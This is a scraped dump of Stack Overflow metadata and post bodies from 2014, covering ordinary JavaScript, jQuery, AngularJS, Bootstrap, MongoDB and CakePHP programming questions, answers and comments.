has text: @RobSchmuecker have a look at the rendered html http://jsfiddle.net/arunpjohny/0zrfmmcw/2/

http://stackoverflow.com/q/25771673
linked to: http://stackoverflow.com/q/8996963
tagged with: javascript
score: 0
has title: How do you sort alphabetical without case sensitive
duplicate of: http://stackoverflow.com/q/8996963
answer count: 1
type: UnansweredQuestion
has body: How do i make this alpha sort not case sensitive? I understand that you should use to toLowerCase but I don't know how. sort_alpha: function(a,b) { if (a[0]==b[0]) return 0; if (a[0]&lt;b[0]) return -1; return 1; }
has comment: http://stackoverflow.com/comment/40303745
has comment: http://stackoverflow.com/comment/40303204
has comment: http://stackoverflow.com/comment/40303249
has answer: http://stackoverflow.com/a/25771765
type: Question

http://stackoverflow.com/a/25805700
type: Answer
has body: I have resolved this issue by following code modification: var cell3 = row.insertCell(3); var cell3Id = row.id+"_cell3"; var strHtml3 = "&lt;INPUT class=\"textbox\" TYPE=\"text\" id=" + cell3Id + "&gt;"; cell3.innerHTML = strHtml3.replace(/!count!/g, count); $("#" + cell3Id).datepicker();
accepted answer of: http://stackoverflow.com/q/25805438
score: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25805438

http://stackoverflow.com/comment/40383385
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25815076
has text: .next only looks at siblings, not cousins or aunts.

http://stackoverflow.com/a/25827029
answers question: http://stackoverflow.com/q/25826981
score: 0
type: Answer
has body: This is not a bug. You are pushing a reference to the the properties object into your array. This means your array contains several references to the same object. You can solve this by resetting the properties variable inside the for loop. function init() { for( i = 0; i &lt; 35; i++ ) { var row = []; for( j = 0; j &lt; 19; j++ ) { var properties = { "property": "value" } row.push(properties); } screenData.push(row); } }

http://stackoverflow.com/q/25871163
has answer: http://stackoverflow.com/a/25871199
has answer: http://stackoverflow.com/a/25871317
has body: I need to center align every divs in Bootstrap3. To make it an accounting report. There're 3 level of divs - Header, subheader and detail list. Each level I use col-md-* to limit the width. I've tried text-align but it's not help. Here's the code : Heading Acc. Type Month Income col-md-12 #@# Expense col-md-12 #@# col-md-10 #@# col-md-8 #@# DEMO : http://fiddle.jshell.net/nobuts/mshwa1yt/1/show/ (please view in desktop). I expect all the divs to center aligned like this : (red border is just a test) Please be adviced.
has answer: http://stackoverflow.com/a/25871269
has title: How to center all divs in bootstrap 3
score: 0
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25871264
tagged with: css
has answer: http://stackoverflow.com/a/25871296
tagged with: twitter-bootstrap
possible better answer: http://stackoverflow.com/a/25871199
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25871238
accepted answer: http://stackoverflow.com/a/25871238
answer count: 6
type: Question
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/a/25808113
downvote count: 0
has comment: http://stackoverflow.com/comment/40371263
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/40371080
upvote count: 1
answers question: http://stackoverflow.com/q/25807854
has body: This one isn't very hard, you just have to keep counting for every text area you have. For ease of use I;m assuming the four text areas are the only ones on the page, but otherwise you could use a class selector. This is what worked for me: $('textarea').live("keyup", function (e) { var WordsUsed = 0; function countWords(textarea){ // be sure to check if theres a value, as split.length will return 1 if it didn't split anywhere. return textarea.val() != "" ? textarea.val().trim().split(' ').length : 0; } WordsUsed += countWords( $('#MyTextBox1')); WordsUsed += countWords( $('#MyTextBox2')); WordsUsed += countWords( $('#MyTextBox3')); WordsUsed += countWords( $('#MyTextBox4')); // do the rest of your code here - I'm not going to repeat it but it works }); I used a temporary function called countWords - I have it in the local context here but it is useful in the global as well. Then I run through all the text areas (you could also just run through al of them with a for loop and without a function in the local scope.). Now the amount of words used is the combo of all the text fields and you can disable all of them once you hit to many words.

http://stackoverflow.com/q/25867482
downvote count: 0
has answer: http://stackoverflow.com/a/25890221
has comment: http://stackoverflow.com/comment/40512044
tagged with: cakephp
has comment: http://stackoverflow.com/comment/40479994
tagged with: forms
has answer: http://stackoverflow.com/a/25889660
type: Question
upvote count: 2
has body: I need to perform a query on any controller from a single form and I try this: Laboratórios Computadores Históricos <?php $controller = ' '; print_r($controller); $base_url = array('controller' => $controller, 'action' => 'index' ); echo $this->Form->create("Filter",array('url' => $base_url, 'class' => 'filter')); echo $this->Form->input("search", array('label' => 'Pesquisa', 'placeholder' => "Pesquisa...")); echo $this->Form->submit("Pesquisar"); echo $this->Html->link("Reset",$base_url); echo $this->Form->end(); ?> But the variable $controller has the string " ", how to fix this? or have another way to do this...
has comment: http://stackoverflow.com/comment/40482264
has title: Search all controllers in cakephp
answer count: 2
tagged with: javascript
tagged with: controller
possible better answer: http://stackoverflow.com/a/25890221
favorite count: 0
accepted answer: http://stackoverflow.com/a/25889660
score: 2
type: AnsweredQuestion

http://stackoverflow.com/comment/40345824
has text: Some doc about Quentin's answer: https://developer.mozilla.org/en-US/docs/Web/API/document.lastModified
comment on: http://stackoverflow.com/a/25794961
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/25815372
answers question: http://stackoverflow.com/q/25814916
type: Answer
score: 1
upvote count: 1
has body: Your problem is with $scope If you declared $rootScope.resAVal it is working fine Plunkr Here
accepted answer of: http://stackoverflow.com/q/25814916
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/40464972
score: 0
comment on: http://stackoverflow.com/q/25859171
type: Comment
type: QuestionComment
has text: Add an error callback and check the results.

http://stackoverflow.com/a/25729810
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25729601
type: Answer
has body: Check FS.UploadProgressBar of Meteor-cfs-ui
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25729601

http://stackoverflow.com/a/25870444
answers question: http://stackoverflow.com/q/25846246
type: AcceptedAnswer
downvote count: 0
has body: Just to clarify, you want to display images on http://yoursitename.com/news. These images are currently available if you go to the actual news article. I don't think there's an out of the box solution for what you want. On Views/News/List.cshtml, you'll have to retrieve the news' full description and parse the html for images. Alternately, you can reference the image in the Short Description. Unfortunately, you'll have to write the HTML yourself instead of getting an editor the way the full description provides. But, its not too difficult. So, in the short description, put something like the following into the short description field. &lt;img src="https://www.google.co.uk/images/srpr/logo11w.png" /&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Of course, style accordingly using CSS.
type: Answer
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25846246

http://stackoverflow.com/a/25828562
score: 1
has comment: http://stackoverflow.com/comment/40408206
answers question: http://stackoverflow.com/q/25828451
upvote count: 1
has body: I know that this does not answer the original question, but it looks like you are trying to find out whether the arrays contain 'match1' and 'match2', you can do that with Array.prototype.indexOf: var items = myitems(); if(items.indexOf('match1') !== -1) { // Do whatever you need to do if the array contains 'match1' }
has comment: http://stackoverflow.com/comment/40407416
type: Answer
downvote count: 0

http://stackoverflow.com/comment/40443619
comment on: http://stackoverflow.com/a/25848505
has text: @Benjamin : updated...break `hover` into `mouseenter` and `mouseout` and it would work.... now check! :)
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40455754
type: QuestionComment
has text: @DavidThomas I have edited the question to hopefully be clearer. I guess I'm struggling myself to find a formula that will cater for all edge cases to bucket a list of years into weights, which is why I came here for help.
comment on: http://stackoverflow.com/q/25844634
type: Comment
score: 0

http://stackoverflow.com/comment/40448014
type: Comment
comment on: http://stackoverflow.com/a/25833053
score: 0
has text: Mr, you saved my day!
type: AnswerComment

http://stackoverflow.com/q/25791953
tagged with: javascript
type: UnansweredQuestion
upvote count: 4
score: 3
favorite count: 0
has answer: http://stackoverflow.com/a/25792202
tagged with: angularjs
type: Question
answer count: 2
has title: Show option only when there are no results
has body: I am trying to hardcode in an option to an ng-options select list when the scope it is pulling from has no answers. I was able to achieve this in another scenario by doing something like that: ng-show="!$scope.length" However, it does not seem to be working inside the select list itself. Perhaps it's something with how Angular does ng-options? Here is my attempt: There are no prompts for this lesson. I have hardcoded an option inside of the select with the same logic, but it does not seem to want to work. Thanks in advance!
has comment: http://stackoverflow.com/comment/40339983
downvote count: 1
has answer: http://stackoverflow.com/a/25792459

http://stackoverflow.com/comment/40257879
score: 1
has text: @Tom was referring to my own upcoming retirement.
type: AnswerComment
comment on: http://stackoverflow.com/a/25746737
type: Comment

http://stackoverflow.com/comment/40231629
type: QuestionComment
comment on: http://stackoverflow.com/q/25732129
has text: Your right! This works. Strange that I found this scroll-repositioning solution instead of this much easier solution. Thanks a lot.
score: 0
type: Comment

http://stackoverflow.com/q/25867532
tagged with: web-storage
has comment: http://stackoverflow.com/comment/40478351
type: Question
has comment: http://stackoverflow.com/comment/40478438
answer count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/25867687
score: 0
has body: I want to know if there is any possibility of mapping between 2 different keys in localStorage. For Instance : Key 1: {'key1','value'} Key 2: {'key2','value'} Is it possible to map to the existing key/value pair If the value of the key2 is same. Edit: I don't want to save unnecessary repeated values to my localStorage.
tagged with: http://stackoverflow.com/tag/html
has title: Mapping of key with another key value in localStorage
type: UnansweredQuestion
tagged with: local-storage

http://stackoverflow.com/a/25727006
upvote count: 2
has comment: http://stackoverflow.com/comment/40220883
downvote count: 0
answers question: http://stackoverflow.com/q/25726959
type: Answer
has comment: http://stackoverflow.com/comment/40220923
score: 2
has body: Use attribute equal selector in :not: $('input:text:not([readonly])').on('keyup',function(){ if($(this).val()=='100') { alert("Please provide answer between 0-99."); $(this).val(""); } });

http://stackoverflow.com/comment/40313659
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25776882
has text: @Pointy Well, a domain can look like this: 'aaa' or 'aaa-aaa' or 'xn--aaa'. And that should be max of 61 chars.

http://stackoverflow.com/comment/40340912
type: Comment
type: AnswerComment
has text: also the new page url doesnt show the :id?...it goes like...tab/posts rather than tab/posts/:id
score: 0
comment on: http://stackoverflow.com/a/25787737

http://stackoverflow.com/comment/40286738
type: Comment
has text: What do you mean? `chrome.pageAction.onClicked` is there and should work. And no, this API can only serve to show the Page Action currently.
comment on: http://stackoverflow.com/a/25762560
type: AnswerComment
score: 0

http://stackoverflow.com/a/25799425
has comment: http://stackoverflow.com/comment/40354711
has comment: http://stackoverflow.com/comment/40354881
upvote count: 2
has comment: http://stackoverflow.com/comment/40354859
has comment: http://stackoverflow.com/comment/40354681
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25799238
has body: Test if the string contains at least 2 dots, but no spaces. That seems to be the definition of dot notation. if (str.match(/\..*\./) &amp;&amp; !str.match(/\s/)) { // dot notation } else { // sentence } Or maybe it's a dot that isn't at the end of the string, and no whitespace: if (str.match(/\.[^.]/) &amp;&amp; !str.match(/\s)) {
type: Answer
accepted answer of: http://stackoverflow.com/q/25799238
score: 2
downvote count: 0

http://stackoverflow.com/q/25811003
tagged with: jquery
tagged with: http://stackoverflow.com/tag/html
has body: What's happening: User clicks button Menu opens (&lt;li&gt;s display = block) Close menu function is attached to &lt;body&gt; Close menu function is immediately triggered and menu closes I'm attaching a function to close the menu (hide the lis) to the body (3) so that after the menu has been opened, the user can close it by clicking anywhere off it onscreen. The problem is the function attached to the body is immediately triggered in the button click function, so the menu opens and closes before the user even sees it. I'm using jQuery 1.7's .on() function to bind the event. Does anyone know a simple solution to this? 'bindAfterEvent' or something along those lines. Code: $(document).ready(function() { $('#page-content div.center-block div:nth-child(1) ul li:nth-child(1)').on('click', openSubnav); }); openSubnav = function(e) { // Shows all li tags and attaches close function to the body e.preventDefault(); $('#page-content div.center-block div:nth-child(1) ul li').show(); $('body').on('click', closeSubnav); }; closeSubnav = function() { // Hides all li tags except the first (used to open) $('#page-content div.center-block div:nth-child(1) ul li').hide(); $('#page-content div.center-block div:nth-child(1) ul li:nth-child(1)').show(); };
accepted answer: http://stackoverflow.com/a/25811114
favorite count: 0
possible better answer: http://stackoverflow.com/a/25811075
tagged with: css
has answer: http://stackoverflow.com/a/25811075
type: AnsweredQuestion
downvote count: 2
type: Question
has answer: http://stackoverflow.com/a/25811114
answer count: 2
upvote count: 0
score: -2
has title: Attach click event to body via button click without immediately triggering it
tagged with: javascript

http://stackoverflow.com/q/25842338
tagged with: angularjs
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/20855033
has body: I'm trying to write an AngularJS directive named "insert-after-parent" that inserts content after his parent. Inside this directive, I use jQuery to select the parent element. Because AngularJS is based on jQuery, I load first the jQuery and than the AngularJS framework. But when I do, my directive doesn't work. But if I first load AngularJS and then the jQuery framework, it works. Can someone tell my why? angular.module('ls', []).directive('insertAfterParent', ["$compile", function($compile){ return { restrict: 'E', link: function(scope, element, attrs){ scope.$watch(function(scope) { return scope.$eval(attrs.src) }, function(id) { if(id){ var content = $('script[type="text/ng-template"][id="' + id + '"]').html() if(content){ $compile($(content).insertAfter(element.parent()))(scope) } } }) } } }]) Here the link to my plunkr: http://plnkr.co/edit/gTXk0bjyQ6nTTCaB9Czg?p=preview I'm using angular 1.2.23 and jQuery 1.7.1 According to the documentation(AngularJS FAQ), these versions are compatible.
has title: Different behaviour due to import order of AngularJS and jQuery
type: Question
tagged with: angularjs-directive
has answer: http://stackoverflow.com/a/25842448
score: 0
upvote count: 1
answer count: 1
downvote count: 1
tagged with: javascript
tagged with: jquery
favorite count: 0

http://stackoverflow.com/q/25752125
has answer: http://stackoverflow.com/a/25753227
has comment: http://stackoverflow.com/comment/40268468
has answer: http://stackoverflow.com/a/25752706
answer count: 4
has comment: http://stackoverflow.com/comment/40269554
has body: EDIT taken from OP comment: "we're using the classic SAPGui [ed: not the SAPGui for HTML]" I'd like to send a request to a simple URL from my JavaScript, so that the base URL will NOT be added to the request URL. For example, the request should be sent to the following URL (without the base URL): SAPEVENT:SOME_TEXT?2 I used the jQuery's $.ajax function in order to implement it, but without success. Here is a JSFiddle for it: http://jsfiddle.net/txb6tdjj/2/ The JS code: function sendEvent(id) { $.ajax("SAPEVENT:SOME_TEXT?" + id); } sendEvent(2); I see the following error in the JS console: XMLHttpRequest cannot load sapevent:SOME_TEXT?2. Cross origin requests are only supported for HTTP. (jquery-2.1.0.js:8556) I even set the parameter crossDomain: true, but it didn't help: http://jsfiddle.net/auhx2v2v/3/ The JS code: function sendEvent(id) { $.ajax({ url: "SAPEVENT:SOME_TEXT?" + id, crossDomain: true }); } sendEvent(2); It ends up with the same error. It works correct in the HTML like this: http://jsfiddle.net/1f6npcn2/2/ The HTML code which works correctly: Click on me to send an event! But I need to implement it in JavaScript, so that a request parameter can be set dynamically in the URL in JavaScript. Do you know how to implement it in JS so that the request will be sent to the URL SAPEVENT:SOME_TEXT?2 without the base URL? Additional information about used browsers: The error is shown only in Chrome. IE and Firefox do not show an error, but they also don't send the request. Additional information for the SAP guys: I know there is a SAP Note 191908 which states that it's impossible, but a colleague has confirmed that he has successfully tested such functionality in an HTML page which used the same code as I copied above (see the HTML code above and http://jsfiddle.net/1f6npcn2/2/). So the SAP Note is wrong. I know how I can implement this functionality in HTML, but I don't know how I can implement it in JS. That's the problem.
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25754370
tagged with: sap-gui
has answer: http://stackoverflow.com/a/25752243
linked to: http://stackoverflow.com/q/389204
accepted answer: http://stackoverflow.com/a/25754370
has title: How to send a request from JavaScript without base URL? (SAP GUI)
type: Question
tagged with: javascript
tagged with: jquery
tagged with: ajax
score: 0
possible better answer: http://stackoverflow.com/a/25752706

http://stackoverflow.com/comment/40326250
type: Comment
has text: I just tried it in Safari (7.0.6), and it seems to work for me. What kind of problem to you experience?
comment on: http://stackoverflow.com/a/25769962
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40495411
comment on: http://stackoverflow.com/a/25861665
score: 0
type: Comment
has text: Super I'm glad you sorted it out. Accept the answer please, if it helped.
type: AnswerComment

http://stackoverflow.com/q/25735006
has body: I have some nested ng-repeats I am working with and the third level down is a grouping of checkboxes. Initially I am sent an array of options for the checkboxes so I do this: &lt;div class="fadingOptionsHere" ng-repeat="fading in fade.options"&gt; &lt;input type="checkbox" ng-model="fadingsHere" value="{{fading.id}}"&gt;{{fading.name}} &lt;/div&gt; I am tyring to find a way to ONLY get the values of the selected checkboxes back. It would be super ideal if I could just replace the nested options array with an array of only the selected items, so I could just send the json object back like that. This is the third level down of nesting so I'm having trouble tracking these guys. How would I be able to get only the selected values (as the fading.id) of the select boxes for each iteration of the ng-repeat? I keep trying to reference the fadingsHere model with no success. Thanks!
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/40237523
accepted answer: http://stackoverflow.com/a/25735350
tagged with: arrays
tagged with: javascript
tagged with: angularjs
tagged with: checkbox
has answer: http://stackoverflow.com/a/26673900
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/26673900
has answer: http://stackoverflow.com/a/25735350
type: Question
has title: sub ng-repeats, getting (checked) checkbox values in angular

http://stackoverflow.com/q/25853557
answer count: 1
has title: MongoDB: parseFloat for string field in aggregate function ($avg)
favorite count: 0
accepted answer: http://stackoverflow.com/a/25854446
has body: I am storing some data in Mongo that contains an arbitrary field. This field is stored as a string, but could contain binary data, an integer, float, or whatever else (up to application and another field, "Type"). Anyway, assuming I know for sure that the documents I am querying store floating values in this field typed as a string, I want to know the average of those values over particular date range. Unfortunately, according to $avg documentation, it ignores any values that are non-numeric. Is there a way to force parseFloat or something similar to convert on the fly the document value to appease the $avg operator? Sample document structure: { "_id": ObjectId("540f4e29f287300b9097663d"), "DateReceived": ISODate("2014-09-09T18:59:53.717Z"), "Message": { "Version": 1, "Source": { "Device": "MS02166", "Application": "Performance Counter", "Category": "Disk - Reads/sec", "OriginDate": ISODate("2014-09-09T18:59:51.256Z"), "Level": 2 }, "PayloadText": "0" } } The field I am averaging on is Message.PayloadText (in this example its 0, but there are non-zero documents) The aggregation pipeline query I was able to generate is: [{ "$match": { "Message.Source.Application": "Performance Counter" } }, { "$match": { "Message.Source.Category": "Processor" } }, { "$match": { "Message.Source.Level": 2 } }, { "$match": { "Message.Source.Device": "MS02166" } }, { "$match": { "DateReceived": { "$gte": ISODate("2014-09-14T07:00:00Z"), "$lt": ISODate("2014-09-15T07:00:00Z") } } }, { "$group": { "_id": { "hour": { "$hour": "$DateReceived" } }, "AvgUsage": { "$avg": "$Message.PayloadText" }, "MinUsage": { "$min": "$Message.PayloadText" }, "MaxUsage": { "$max": "$Message.PayloadText" } } }] I tried doing something like "$avg": "parseFloat($Message.PayloadText)" and "$avg": "$parseFloat($Message.PayloadText)" to no avail. Strangely, the $min and $max operators DO produce a meaningful result (sample results below). { "_id" : { "hour" : 7 }, "AvgUsage" : 0, "MinUsage" : "0", "MaxUsage" : "9.3…
tagged with: aggregation-framework
has answer: http://stackoverflow.com/a/25854446
type: AnsweredQuestion
downvote count: 0
type: Question
tagged with: mongodb
score: 3
tagged with: javascript
upvote count: 3

http://stackoverflow.com/comment/40436533
score: 0
has text: What is the initial `top` position of your `div`?
comment on: http://stackoverflow.com/q/25844478
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25789642
linked to: http://stackoverflow.com/q/8915087
type: AnsweredQuestion
has body: I'm trying to access (CRUD) Google Drive from a Firefox extension. Extensions are coded in Javascript, but neither of the two existing javascript SDKs seem to fit; the client-side SDK expects "window" to be available, which isn't the case in extensions, and the server-side SDK seems to rely on Node-specific facilities, as a script that works in node no longer does when I load it in chrome after running it through browserify. Am I stuck using raw REST calls?﻿ The Node script that works looks like this: var google = require('googleapis'); var readlineSync = require('readline-sync'); var CLIENT_ID = '....', CLIENT_SECRET = '....', REDIRECT_URL = 'urn:ietf:wg:oauth:2.0:oob', SCOPE = 'https://www.googleapis.com/auth/drive.file'; var oauth2Client = new google.auth.OAuth2(CLIENT_ID, CLIENT_SECRET, REDIRECT_URL); var url = oauth2Client.generateAuthUrl({ access_type: 'offline', // 'online' (default) or 'offline' (gets refresh_token) scope: SCOPE // If you only need one scope you can pass it as string }); var code = readlineSync.question('Auth code? :'); oauth2Client.getToken(code, function(err, tokens) { console.log('authenticated?'); // Now tokens contains an access_token and an optional refresh_token. Save them. if(!err) { console.log('authenticated'); oauth2Client.setCredentials(tokens); } else { console.log('not authenticated'); } }); I wrap the node GDrive SDK using browserify on this script: var Google = new function(){ this.api = require('googleapis'); this.clientID = '....'; this.clientSecret = '....'; this.redirectURL = 'urn:ietf:wg:oauth:2.0:oob'; this.scope = 'https://www.googleapis.com/auth/drive.file'; this.client = new this.api.auth.OAuth2(this.clientID, this.clientSecret, this.redirectURL); } } which is then called using after clicking a button (if the text field has no code it launches the browser to get one): function authorize() { var code = document.getElementById("code").value.trim(); if (code === '') { var url = Google.client.generateAuthUrl({access_type…
has comment: http://stackoverflow.com/comment/41022655
has answer: http://stackoverflow.com/a/27683763
type: Question
has comment: http://stackoverflow.com/comment/41029265
score: 36
answer count: 2
has answer: http://stackoverflow.com/a/27703724
accepted answer: http://stackoverflow.com/a/27703724
has comment: http://stackoverflow.com/comment/43645264
tagged with: javascript
has comment: http://stackoverflow.com/comment/43645199
has comment: http://stackoverflow.com/comment/43509480
has comment: http://stackoverflow.com/comment/41022610
favorite count: 0
has comment: http://stackoverflow.com/comment/43578210
has comment: http://stackoverflow.com/comment/43763148
has comment: http://stackoverflow.com/comment/40755838
has comment: http://stackoverflow.com/comment/40829320
tagged with: firefox-addon
downvote count: 1
has comment: http://stackoverflow.com/comment/43781011
possible better answer: http://stackoverflow.com/a/27683763
tagged with: xul
tagged with: google-drive-api
upvote count: 37
has title: Accessing Google Drive from a Firefox extension

http://stackoverflow.com/a/25732264
type: Answer
downvote count: 0
score: 6
upvote count: 6
has body: If you add map.setCenter(new google.maps.LatLng(39.9388838,116.3974589)) at the end of your init function it seems to work function initialize() { var myOptions = { zoom: 2, center: new google.maps.LatLng(39.9388838,116.3974589), styles: ...] }; var map = new google.maps.Map(document.getElementById("map"), myOptions); setMarkers(map,locations) map.setCenter(new google.maps.LatLng(39.9388838,116.3974589)) }
answers question: http://stackoverflow.com/q/25731618
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40233988
accepted answer of: http://stackoverflow.com/q/25731618

http://stackoverflow.com/q/25833384
has title: JSON objects returns undefined
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40439481
has comment: http://stackoverflow.com/comment/40416066
has answer: http://stackoverflow.com/a/25846313
has comment: http://stackoverflow.com/comment/40416183
type: Question
answer count: 1
tagged with: javascript
has body: I'm returning a JSON object using a 3rd party API. When I print out the variable I get the following: category: { "sys": { "id":"44uyBvGjFmsmoU6uqiiSOq", "revision":1, "type":"Entry", "locale":"en-US", "contentType": { "sys": { "id":"2V5tBa4wf6cuMSIu4McuUc", "type":"Link", "linkType":"ContentType" } }, "createdAt":"2014-09-13T22:40:39.901Z", "updatedAt":"2014-09-13T22:40:39.901Z", "space": { "sys": { "id":"t667fybp3v46", "type":"Link", "linkType":"Space" } } }, "fields": { "name":"birth control" } } But when I try and access the variables using the following, I keep on getting "Possibly unhandled TypeError: Cannot read property 'name' of undefined" : if (o.fields.category) { var str = JSON.stringify(o.fields.category, undefined, 2); console.log(str); var json_category = JSON.parse(str); // console.log("--------------Category for the resource: " + o.fields.category); $.each(json_category, function(index, object){ alert(10); var category = {}; // console.log("--------------Category for the resource: " + object.sys); category.id = object.sys.id; // console.log("--------------Category for the resource: " + object.fields.name); category.name = object.fields.name; // console.log("--------------Category for the resource: " + object.sys.updatedAt); category.updatedAt = object.sys.updatedAt; categories.push(category); }); } Any help is greatly appreciated.
score: 0
has comment: http://stackoverflow.com/comment/40416123
has comment: http://stackoverflow.com/comment/40416114
has comment: http://stackoverflow.com/comment/40416010
has comment: http://stackoverflow.com/comment/40416659
tagged with: getjson
accepted answer: http://stackoverflow.com/a/25846313
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40415934

http://stackoverflow.com/q/25866342
tagged with: javascript
has comment: http://stackoverflow.com/comment/40476434
has title: Zoomable inline SVG
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25867084
score: 1
tagged with: jquery
favorite count: 0
type: Question
has body: I have an inline SVG inside a div and simply I want to make it zoomable and able to pan using drag. I've search everywhere and found nothing that suits my needs. I dont want .svg files or whatever. Just an inline SVG inside a div. I found this thing but it freeze my brain. I don't get it. But the demo in this link suits my needs. But I don't get it. Please if anyone have an idea how to achieve that one thanks a lot in advance. I tried my best that I come up with asking here guys. I'm new to SVG so please be patient with me. :)
tagged with: http://stackoverflow.com/tag/html
tagged with: css
tagged with: http://stackoverflow.com/tag/svg
upvote count: 3
downvote count: 2
answer count: 1
has answer: http://stackoverflow.com/a/25867084
has comment: http://stackoverflow.com/comment/40476316

http://stackoverflow.com/comment/50452706
has text: Do you have any more specific question? I'm using the same module and it works fine. Did you have success in what you were trying to do?
comment on: http://stackoverflow.com/q/25852485
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40407077
type: QuestionComment
comment on: http://stackoverflow.com/q/25795314
has text: I had a similar problem with mosquitto and lighttp. Never got around to solving it, just used hivemq. Mosquitto 1.4 (yet to be released), you can compile it and it has built in websockets.
score: 0
type: Comment

http://stackoverflow.com/a/25794456
has comment: http://stackoverflow.com/comment/40354223
has comment: http://stackoverflow.com/comment/40348078
has comment: http://stackoverflow.com/comment/40447846
score: 3
has comment: http://stackoverflow.com/comment/40353773
answers question: http://stackoverflow.com/q/25756314
has comment: http://stackoverflow.com/comment/40353119
has comment: http://stackoverflow.com/comment/40353803
has comment: http://stackoverflow.com/comment/40351417
accepted answer of: http://stackoverflow.com/q/25756314
type: AcceptedAnswer
downvote count: 0
has body: You are going to want to use use JQuery. And it is a very simple script, if I understand correctly. Note: the jQuery Google has installed does not work properly, so you definitely need your own, no matter what you do. // ==UserScript== // @name Google Search Domain Highlighter // @author Wisnoskij // @homepage https://openuserjs.org/users/wisnoskij // @namespace https://openuserjs.org/users/wisnoskij // @version 1.0 // @description Locate specific domains easily within the results of a Google Search // @include /https?://(www\.)?google\.[^/]*/search[^/]*/ // @require http://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js // ==/UserScript== var sites = { 'stackoverflow.com': '#FFCC66', 'tutorialspoint.com': '#C2D9EF', 'css-tricks.com': '#CCFF66' }; var numHL = 0; $('._Rm').each(highlight); function highlight(index, element){ try{ var node = $(element); var site = node.text(); site = getDomain(site); if(sites[site]){ node.closest('.rc').css('background-color', sites[site]); return; } site = removeWWW(site); if(sites[site]){ node.closest('.rc').css('background-color', sites[site]); return; } }catch(er){} } function getDomain(url){ var tmp = url.indexOf('://'); if(tmp &gt; -1){ url = url.substring(tmp+3); } url = url.match(/^[^/]*/)[0]; tmp = url.indexOf(' › '); if(tmp &gt; -1){ url = url.substring(0, tmp); } return(url); } function removeWWW(url){ var tmp = url.indexOf('.'); if(tmp &gt; -1){ url = url.substring(tmp+1); } return(url); } Fully functional, working script.
type: Answer
upvote count: 3

http://stackoverflow.com/comment/40437203
has text: If you actually want to post game scores, then using the Scores API would be more appropriate. // It is correct that you can not set parameters (apart from the URL) dynamically using the Share dialog. If you want to do that, either make the post via API instead, or use parameterized URLs that deliver different meta information.
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25844438

http://stackoverflow.com/comment/40271180
has text: I've tried several things-it was really just a stab in the dark though as i say I am new to using Node
type: Comment
score: 0
comment on: http://stackoverflow.com/q/25730501
type: QuestionComment

http://stackoverflow.com/a/59123831
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25850654
has body: const o=Object.assign({},defaultFont,conf) const canvas = document.createElement('canvas') canvasCache.add(canvas) canvas.height=o.size! canvas.width=text.length*o.size! const ctx = canvas.getContext('2d')! ctx.font = `Bold ${o.size!}px ${o.face!}` const metrics = ctx.measureText(text); const width = metrics.width; // ctx.fillStyle = o.bg instanceof THREE.Color ? o.bg.getStyle() : RGBAToCss(o) // canvas.width=width // canvas.height=o.size! // ctx.lineWidth = 4 ctx.textAlign = 'center' ctx.textBaseline = "middle" ctx.fillStyle =buildColor(o.color!) ctx.fillText(text, width/2, o.size!/2) this same fine to me, I'd know why must set canvas width and height before do any

http://stackoverflow.com/q/25753161
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25754048
tagged with: paypal
has comment: http://stackoverflow.com/comment/40271352
linked to: http://stackoverflow.com/q/8412505
tagged with: pixel
score: 0
tagged with: image-processing
type: Question
has comment: http://stackoverflow.com/comment/40270959
linked to: http://stackoverflow.com/q/11240996
tagged with: javascript
has body: I'm handling a request from a non profitable organization to do the following: Show a blured picture. As people buy pixels, the number of purchased pixels should be drawn on the image following a spiral path. Paypal will be used and each pixel has a 0,10 Euros cost. I already handled the evolution of the spiral, depending on the aspect ratio. Check here my function: var width = 150; var height = 50; var x = -(width - height)/2; var y = 0; var dx = 1; var dy = 0; var x_limit = (width - height)/2; var y_limit = 0; var counter = 0; var canvas = document.getElementById("canvas"); var ctx = canvas.getContext('2d'); setInterval(function(){ if ((-width/2 &lt; x &amp;&amp; x &lt;= width/2) &amp;&amp; (-height/2 &lt; y &amp;&amp; y &lt;= height/2)) { console.log("[ " + x + " , " + y + " ]"); ctx.fillStyle = "#FF0000"; ctx.fillRect(width/2 + x, height/2 - y,1,1); } if( dx &gt; 0 ){//Dir right if(x &gt; x_limit){ dx = 0; dy = 1; } } else if( dy &gt; 0 ){ //Dir up if(y &gt; y_limit){ dx = -1; dy = 0; } } else if(dx &lt; 0){ //Dir left if(x &lt; (-1 * x_limit)){ dx = 0; dy = -1; } } else if(dy &lt; 0) { //Dir down if(y &lt; (-1 * y_limit)){ dx = 1; dy = 0; x_limit += 1; y_limit += 1; } } counter += 1; //alert (counter); x += dx; y += dy; }, 1); The code is available here: http://jsfiddle.net/hitbyatruck/c4Kd6/ My main problem is how to implement this without the need to loop it from the begining every time. Am I able to store the last 